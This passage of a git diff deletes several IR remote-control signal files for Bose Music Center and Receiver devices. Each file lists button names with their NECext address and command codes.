parsed -protocol: NECext -address: BA 88 00 00 -command: 56 00 00 00 -# -name: << -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 57 00 00 00 -# -name: SEEK_LEFT -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 57 00 00 00 -# -name: >> -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 58 00 00 00 -# -name: SEEK_RIGHT -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 58 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 5C 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 60 00 00 00 -# -name: SETTINGS -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 80 00 00 00 -# -name: DVD_MENU -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 90 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 9D 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: BA 88 00 00 -command: A0 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: BA 88 00 00 -command: C0 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: BA 88 00 00 -command: D0 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: BA 88 00 00 -command: E0 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Music Center/186,133.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Music Center/186,133.ir deleted file mode 100644 index 3e50490c2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Music Center/186,133.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE -type: parsed -protocol: NECext -address: BA 85 00 00 -command: 01 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: BA 85 00 00 -command: 02 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: BA 85 00 00 -command: 03 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: BA 85 00 00 -command: 0C 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: BA 85 00 00 -command: 0D 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: BA 85 00 00 -command: 0E 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: BA 85 00 00 -command: 0F 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: BA 85 00 00 -command: 10 00 00 00 -# -name: << -type: parsed -protocol: NECext -address: BA 85 00 00 -command: 18 00 00 00 -# -name: >> -type: parsed -protocol: NECext -address: BA 85 00 00 -command: 19 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: BA 85 00 00 -command: 1A 00 00 00 -# -name: PRESET_+ -type: parsed -protocol: NECext -address: BA 85 00 00 -command: 1D 00 00 00 -# -name: PRESET_- -type: parsed -protocol: NECext -address: BA 85 00 00 -command: 1F 00 00 00 -# -name: RANDOM_DISC -type: parsed -protocol: NECext -address: BA 85 00 00 -command: 4A 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: BA 85 00 00 -command: 4C 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: BA 85 00 00 -command: 52 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: BA 85 00 00 -command: 53 00 00 00 -# -name: DISC_- -type: parsed -protocol: NECext -address: BA 85 00 00 -command: 54 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: BA 85 00 00 -command: 55 00 00 00 -# -name: << -type: parsed -protocol: NECext -address: BA 85 00 00 -command: 57 00 00 00 -# -name: >> -type: parsed -protocol: NECext -address: BA 85 00 00 -command: 58 00 00 00 -# -name: RANDOM_ALL -type: parsed -protocol: NECext -address: BA 85 00 00 -command: 5C 00 00 00 -# -name: DISC_+ -type: parsed -protocol: NECext -address: BA 85 00 00 -command: 5D 00 00 00 -# -name: MUTE_ALL -type: parsed -protocol: NECext -address: BA 85 00 00 -command: DF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Music Center/186,213.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Music Center/186,213.ir deleted file mode 100644 index 9fa6701da..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Music Center/186,213.ir +++ /dev/null @@ -1,230 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE -type: parsed -protocol: NECext -address: BA D5 00 00 -command: 01 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: BA D5 00 00 -command: 02 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: BA D5 00 00 -command: 03 00 00 00 -# -name: AM/FM -type: parsed -protocol: NECext -address: BA D5 00 00 -command: 06 00 00 00 -# -name: SURROUND_- -type: parsed -protocol: NECext -address: BA D5 00 00 -command: 0A 00 00 00 -# -name: SURROUND_+ -type: parsed -protocol: NECext -address: BA D5 00 00 -command: 0B 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: BA D5 00 00 -command: 0C 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: BA D5 00 00 -command: 0D 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: BA D5 00 00 -command: 0E 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: BA D5 00 00 -command: 0F 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: BA D5 00 00 -command: 10 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: BA D5 00 00 -command: 18 00 00 00 -# -name: << -type: parsed -protocol: NECext -address: BA D5 00 00 -command: 18 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: BA D5 00 00 -command: 19 00 00 00 -# -name: >> -type: parsed -protocol: NECext -address: BA D5 00 00 -command: 19 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: BA D5 00 00 -command: 1A 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: BA D5 00 00 -command: 1B 00 00 00 -# -name: PRESET_+ -type: parsed -protocol: NECext -address: BA D5 00 00 -command: 1D 00 00 00 -# -name: PRESET_- -type: parsed -protocol: NECext -address: BA D5 00 00 -command: 1F 00 00 00 -# -name: RANDOM_DISC -type: parsed -protocol: NECext -address: BA D5 00 00 -command: 4A 00 00 00 -# -name: STEREO_MODE -type: parsed -protocol: NECext -address: BA D5 00 00 -command: 4B 00 00 00 -# -name: ON/OFF -type: parsed -protocol: NECext -address: BA D5 00 00 -command: 4C 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: BA D5 00 00 -command: 4C 00 00 00 -# -name: 5_SPEAKER_MODE -type: parsed -protocol: NECext -address: BA D5 00 00 -command: 4E 00 00 00 -# -name: 3_SPEAKER_MODE -type: parsed -protocol: NECext -address: BA D5 00 00 -command: 4F 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: BA D5 00 00 -command: 52 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: BA D5 00 00 -command: 53 00 00 00 -# -name: DISC_- -type: parsed -protocol: NECext -address: BA D5 00 00 -command: 54 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: BA D5 00 00 -command: 55 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: BA D5 00 00 -command: 57 00 00 00 -# -name: << -type: parsed -protocol: NECext -address: BA D5 00 00 -command: 57 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: BA D5 00 00 -command: 58 00 00 00 -# -name: >> -type: parsed -protocol: NECext -address: BA D5 00 00 -command: 58 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: BA D5 00 00 -command: 5C 00 00 00 -# -name: RANDOM_ALL -type: parsed -protocol: NECext -address: BA D5 00 00 -command: 5C 00 00 00 -# -name: NEXT_DISC -type: parsed -protocol: NECext -address: BA D5 00 00 -command: 5D 00 00 00 -# -name: DISC_+ -type: parsed -protocol: NECext -address: BA D5 00 00 -command: 5D 00 00 00 -# -name: MUTE_ALL -type: parsed -protocol: NECext -address: BA D5 00 00 -command: DF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Music Center/186,229.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Music Center/186,229.ir deleted file mode 100644 index a7253f519..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Music Center/186,229.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE -type: parsed -protocol: NECext -address: BA E5 00 00 -command: 01 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: BA E5 00 00 -command: 02 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: BA E5 00 00 -command: 03 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: BA E5 00 00 -command: 0C 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: BA E5 00 00 -command: 0D 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: BA E5 00 00 -command: 0E 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: BA E5 00 00 -command: 0F 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: BA E5 00 00 -command: 10 00 00 00 -# -name: << -type: parsed -protocol: NECext -address: BA E5 00 00 -command: 18 00 00 00 -# -name: >> -type: parsed -protocol: NECext -address: BA E5 00 00 -command: 19 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: BA E5 00 00 -command: 1A 00 00 00 -# -name: PRESET_+ -type: parsed -protocol: NECext -address: BA E5 00 00 -command: 1D 00 00 00 -# -name: PRESET_- -type: parsed -protocol: NECext -address: BA E5 00 00 -command: 1F 00 00 00 -# -name: RANDOM_DISC -type: parsed -protocol: NECext -address: BA E5 00 00 -command: 4A 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: BA E5 00 00 -command: 4C 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: BA E5 00 00 -command: 52 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: BA E5 00 00 -command: 53 00 00 00 -# -name: DISC_- -type: parsed -protocol: NECext -address: BA E5 00 00 -command: 54 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: BA E5 00 00 -command: 55 00 00 00 -# -name: << -type: parsed -protocol: NECext -address: BA E5 00 00 -command: 57 00 00 00 -# -name: >> -type: parsed -protocol: NECext -address: BA E5 00 00 -command: 58 00 00 00 -# -name: RANDOM_ALL -type: parsed -protocol: NECext -address: BA E5 00 00 -command: 5C 00 00 00 -# -name: DISC_+ -type: parsed -protocol: NECext -address: BA E5 00 00 -command: 5D 00 00 00 -# -name: MUTE_ALL -type: parsed -protocol: NECext -address: BA E5 00 00 -command: DF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Music Center/186,85.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Music Center/186,85.ir deleted file mode 100644 index 1658fbdaf..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Music Center/186,85.ir +++ /dev/null @@ -1,278 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 01 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 02 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 03 00 00 00 -# -name: AM/FM -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 06 00 00 00 -# -name: SURROUND_- -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 0A 00 00 00 -# -name: SURROUND_+ -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 0B 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 0C 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 0D 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 0D 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 0E 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 0E 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 0F 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 0F 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 10 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 18 00 00 00 -# -name: << -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 18 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 19 00 00 00 -# -name: >> -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 19 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 1A 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 1A 00 00 00 -# -name: PRESET_+ -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 1D 00 00 00 -# -name: PRESET_- -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 1F 00 00 00 -# -name: RANDOM_DISC -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 4A 00 00 00 -# -name: STEREO_MODE -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 4B 00 00 00 -# -name: ON/OFF -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 4C 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 4C 00 00 00 -# -name: MUTE_ALL -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 4D 00 00 00 -# -name: 5_SPEAKER_MODE -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 4E 00 00 00 -# -name: 3_SPEAKER_MODE -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 4F 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 52 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 52 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 53 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 53 00 00 00 -# -name: DISC_- -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 54 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 55 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 55 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 56 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 57 00 00 00 -# -name: << -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 57 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 58 00 00 00 -# -name: >> -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 58 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 5C 00 00 00 -# -name: RANDOM_ALL -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 5C 00 00 00 -# -name: NEXT_DISC -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 5D 00 00 00 -# -name: DISC_+ -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 5D 00 00 00 -# -name: MUTE_ALL -type: parsed -protocol: NECext -address: BA 55 00 00 -command: DF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Receiver/186,160.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Receiver/186,160.ir deleted file mode 100644 index 93212c458..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Receiver/186,160.ir +++ /dev/null @@ -1,26 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 01 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 02 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 03 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 4C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Receiver/186,75.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Receiver/186,75.ir deleted file mode 100644 index 085f97dac..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Receiver/186,75.ir +++ /dev/null @@ -1,806 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 01 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 01 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 02 00 00 00 -# -name: VOL_- -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 02 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 03 00 00 00 -# -name: VOL_+ -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 03 00 00 00 -# -name: INPUT_-_AM -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 05 00 00 00 -# -name: INP_-_AMFM -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 06 00 00 00 -# -name: AM/FM -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 06 00 00 00 -# -name: IPOD -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 07 00 00 00 -# -name: USB -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 08 00 00 00 -# -name: FRONT_HDMI -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 09 00 00 00 -# -name: FRONT_AV -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 0A 00 00 00 -# -name: VCR -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 0D 00 00 00 -# -name: INP_-_TV -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 0E 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 0E 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 0E 00 00 00 -# -name: INP_-_AUX -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 0F 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 0F 00 00 00 -# -name: IN_2 -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 12 00 00 00 -# -name: IN_3 -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 13 00 00 00 -# -name: LAST_CHANNEL -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 14 00 00 00 -# -name: INP_-_CBL -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 15 00 00 00 -# -name: SAT -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 15 00 00 00 -# -name: CABLE -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 15 00 00 00 -# -name: CBL/SAT -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 15 00 00 00 -# -name: IN_4 -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 15 00 00 00 -# -name: CHAP/TRK_- -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 18 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 18 00 00 00 -# -name: CH_- -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 18 00 00 00 -# -name: CHAP/TRK_+ -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 19 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 19 00 00 00 -# -name: CH_+ -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 19 00 00 00 -# -name: TRANS_-_STOP -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 1A 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 1A 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 1A 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 20 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 20 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 25 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 25 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 28 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 28 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 30 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 30 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 30 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 40 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 40 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 41 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 41 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 42 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 42 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 43 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 43 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 44 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 44 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 45 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 45 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 46 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 46 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 47 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 47 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 48 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 48 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 49 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 49 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 4C 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 4C 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 4C 00 00 00 -# -name: MUTE_ALL -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 4D 00 00 00 -# -name: IN_5 -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 52 00 00 00 -# -name: INP_-_CDDVD -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 53 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 53 00 00 00 -# -name: CD/DVD -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 53 00 00 00 -# -name: TRANS_-_PLAY -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 55 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 55 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 55 00 00 00 -# -name: TRANS_-_PAUSE -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 56 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 56 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 56 00 00 00 -# -name: TRANS_-_SEEK_<< -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 57 00 00 00 -# -name: SEEK_- -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 57 00 00 00 -# -name: SEEK/SCAN_<< -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 57 00 00 00 -# -name: REV -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 57 00 00 00 -# -name: TRANS_-_SEEK_>> -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 58 00 00 00 -# -name: SEEK_+ -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 58 00 00 00 -# -name: SEEK/SCAN_>> -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 58 00 00 00 -# -name: FF -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 58 00 00 00 -# -name: INPUT_-_FM -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 59 00 00 00 -# -name: REPLAY -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 59 00 00 00 -# -name: SKIP -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 5A 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 5C 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 5D 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 60 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 60 00 00 00 -# -name: CD_# -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 63 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 64 00 00 00 -# -name: ENCORE -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 65 00 00 00 -# -name: UMUSIC -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 66 00 00 00 -# -name: WHOLE_CD -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 67 00 00 00 -# -name: PG_DN -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 68 00 00 00 -# -name: RATING_- -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 68 00 00 00 -# -name: PAGE_- -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 68 00 00 00 -# -name: PG_UP -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 69 00 00 00 -# -name: RATING_+ -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 69 00 00 00 -# -name: PAGE_+ -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 69 00 00 00 -# -name: SYSTEM -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 70 00 00 00 -# -name: SYSTEM -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 70 00 00 00 -# -name: SETTINGS -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 80 00 00 00 -# -name: MORE -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 80 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 8C 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 8C 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 90 00 00 00 -# -name: DVD_MENU -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 90 00 00 00 -# -name: DVD_MENU -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 90 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 9D 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 9D 00 00 00 -# -name: PLAYLIST -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 9F 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: A0 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: A0 00 00 00 -# -name: ZOOM -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: B0 00 00 00 -# -name: LIBRARY -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: B0 00 00 00 -# -name: STORED -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: B3 00 00 00 -# -name: IN_1 -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: B3 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: C0 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: C0 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: CC 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: CC 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: D0 00 00 00 -# -name: SOURCE -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: D3 00 00 00 -# -name: 